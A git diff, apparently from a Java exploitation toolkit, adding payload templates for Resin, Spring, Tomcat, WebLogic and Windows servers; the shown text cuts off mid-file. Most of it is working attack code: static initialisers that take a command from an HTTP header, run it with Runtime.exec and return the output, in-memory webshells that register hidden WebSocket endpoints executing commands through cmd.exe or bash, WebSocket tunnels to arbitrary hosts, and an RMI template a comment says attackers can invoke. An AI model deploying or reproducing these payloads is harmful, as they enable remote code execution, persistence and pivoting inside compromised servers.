b/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java new file mode 100644 index 0000000..67ba552 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java @@ -0,0 +1,49 @@ +package com.qi4l.JYso.template.echoStatic; + +public class ResinEcho { + + public static String CMD_HEADER; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java new file mode 100644 index 0000000..ed8e26c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/SpringEcho.java @@ -0,0 +1,28 @@ +package com.qi4l.JYso.template.echoStatic; + +public class SpringEcho { + + public static String CMD_HEADER; + + static { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java new file mode 100644 index 0000000..b64082a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/TomcatEcho.java @@ -0,0 +1,81 @@ +package com.qi4l.JYso.template.echoStatic; + +public class TomcatEcho { + + public static String CMD_HEADER; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java new file mode 100644 index 0000000..13b86cc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/WindowsEcho.java @@ -0,0 +1,60 @@ +package com.qi4l.JYso.template.echoStatic; + +public class WindowsEcho { + + static { + try { + if (java.io.File.separator.equals("\\")) { + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for (int i = 0; i < 50000; i++) { + field.set((Object) fileDescriptor, (Object) (new Integer(i))); + try { + remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if (remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + } catch (Exception e) { + } + } + + for (int i = list.size() - 1; i >= 0; i--) { + try { + field.set((Object) fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + } catch (Exception e) { + //pass + } + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java new file mode 100644 index 0000000..f07ab42 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/weblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.template.echoStatic; + +public class weblogicEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/isOK.java b/src/main/java/com/qi4l/JYso/template/isOK.java new file mode 100644 index 0000000..6317ff5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/isOK.java @@ -0,0 +1,15 @@ +package com.qi4l.JYso.template; + +/** + * @ClassName: isOK + * @Description: TODO + * @Author: Summer + * @Date: 2021/8/1 16:40 + * @Version: v1.0.0 + * @Description: + **/ +public class isOK { + public isOK() { + System.out.println("sucess"); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/isSuccess.java b/src/main/java/com/qi4l/JYso/template/isSuccess.java new file mode 100644 index 0000000..139cf6e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/isSuccess.java @@ -0,0 +1,20 @@ +package com.qi4l.JYso.template; + +public class isSuccess { + static { + System.out.println("static run success"); + isSuccess x = new isSuccess(); + System.out.println(x.getTest()); + } + + public String test = "impl run success"; + + public String getTest() { + return test; + } + + public String toString() { + System.out.println("toString run success"); + return ""; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java new file mode 100644 index 0000000..d33417e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java @@ -0,0 +1,103 @@ +package com.qi4l.JYso.template.memshellStatic.BypassNginxCDN; + +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.Constants; +import org.apache.tomcat.websocket.Transformation; +import org.apache.tomcat.websocket.WsHandshakeResponse; +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import org.apache.tomcat.websocket.server.WsServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.websocket.*; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole { + + static { + try { + Map pathParams = Collections.emptyMap(); + List negotiatedExtensionsPhase = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(cmsMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + + ServletResponseImpl response = connectionHandler.getServletResponse(); + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + WsHttpUpgradeHandler wsHandler = request.upgrade(WsHttpUpgradeHandler.class); + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 //wsHandler.preInit((Endpoint)configEndpoint, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } catch (Exception e) { + e.printStackTrace(); + } + } catch (Exception ignored) { + } + } + + private Session session; + + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java new file mode 100644 index 0000000..942ab48 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java @@ -0,0 +1,195 @@ +package com.qi4l.JYso.template.memshellStatic.BypassNginxCDN; + +import org.apache.catalina.connector.RequestFacade; +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.Constants; +import org.apache.tomcat.websocket.Transformation; +import org.apache.tomcat.websocket.WsHandshakeResponse; +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import org.apache.tomcat.websocket.server.WsServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletRequestWrapper; +import javax.websocket.*; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class proxyMSBYNC extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletResponseImpl response = connectionHandler.getServletResponse(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(proxyMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + Map pathParams = Collections.emptyMap(); + + + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + List negotiatedExtensionsPhase2 = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + RequestFacade requestFacade = getRequestFacade(request); + WsHttpUpgradeHandler wsHandler = requestFacade.upgrade(WsHttpUpgradeHandler.class); + if (wsHandler != null) { + // Tomcat 8 preInit + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 preInit + // Endpoint ep = (Endpoint)configEndpoint.getConfigurator().getEndpointInstance(configEndpoint.getEndpointClass()); + // wsHandler.preInit(ep, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + private static RequestFacade getRequestFacade(HttpServletRequest request) { + if (request instanceof RequestFacade) { + return (RequestFacade) request; + } else if (request instanceof HttpServletRequestWrapper) { + HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; + HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); + return getRequestFacade(wrappedRequest); + } else { + throw new IllegalArgumentException("Cannot convert [" + request.getClass() + "] to org.apache.catalina.connector.RequestFacade"); + } + } + + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/RMIBindTemplate.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/RMIBindTemplate.java new file mode 100644 index 0000000..926e46a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/RMIBindTemplate.java @@ -0,0 +1,44 @@ +package com.qi4l.JYso.template.memshellStatic; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + +/** + * RMI 内存马(也不算内存马吧,算是一种方式) + * 参考 weblogic 的 T3/IIOP 回显方式 + * 启动一个 RMI Registry 并 bind 一个具有命令执行逻辑的方法 + * 然后攻击者可以利用此 Registry 调用对应的 service + *

+ * 目前的实现方式存在被反制的风险,慎用哦 + *

+ */ +public class RMIBindTemplate implements Remote { + static int port; + + static int bindPort; + + static String serviceName; + + + static { + try { + Registry registry = null; + try { + registry = LocateRegistry.createRegistry(port); + } catch (Exception ignored) { + + } + if (registry != null) { + registry = LocateRegistry.getRegistry("127.0.0.1", port); + } + + RMIBindTemplate rbt = new RMIBindTemplate(); + UnicastRemoteObject.exportObject(rbt, bindPort); + registry.rebind(serviceName, rbt); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java new file mode 100644 index 0000000..c2c49a8 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -0,0 +1,152 @@ +package com.qi4l.JYso.template.memshellStatic.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class MsTSJproxy extends Endpoint implements MessageHandler.Whole, CompletionHandler { + + static { + String path = "/proxy"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null) { + Field field = null; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + } catch (Exception e) { + try { + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + } catch (NoSuchFieldException ex) { + ex.printStackTrace(); + } + field.setAccessible(true); + } + try { + standardroot = (StandardRoot) field.get(webappClassLoaderBase); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(MsTSJproxy.class, path).build(); + ServerContainer container = (ServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + try { + container.addEndpoint(configEndpoint); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + final ByteBuffer buffer = ByteBuffer.allocate(102400); + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + private Session session; + private AsynchronousSocketChannel client = null; + + public MsTSJproxy() { + } + + @Override + public void completed(Integer result, Session channel) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (channel.isOpen()) { + channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(channel, client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(channel, client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Session channel) { + t.printStackTrace(); + } + + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.i = 0; + this.session = session; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024); + session.setMaxTextMessageBufferSize(1024 * 1024 * 1024); + session.addMessageHandler(this); + } + + void readFromServer(Session channel, final AsynchronousSocketChannel client) { + this.client = client; + buffer.clear(); + client.read(buffer, channel, this); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + readFromServer(channel, client); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java new file mode 100644 index 0000000..874ee04 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java @@ -0,0 +1,51 @@ +package com.qi4l.JYso.template.memshellStatic.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; +import org.apache.tomcat.websocket.server.WsServerContainer; + +import javax.websocket.DeploymentException; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class MsTSJser { + static { + try { + String urlPath = "/cmd"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null) { + Field field; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + } catch (Exception e) { + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + } + standardroot = (StandardRoot) field.get(webappClassLoaderBase); + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + Class clazz; + byte[] 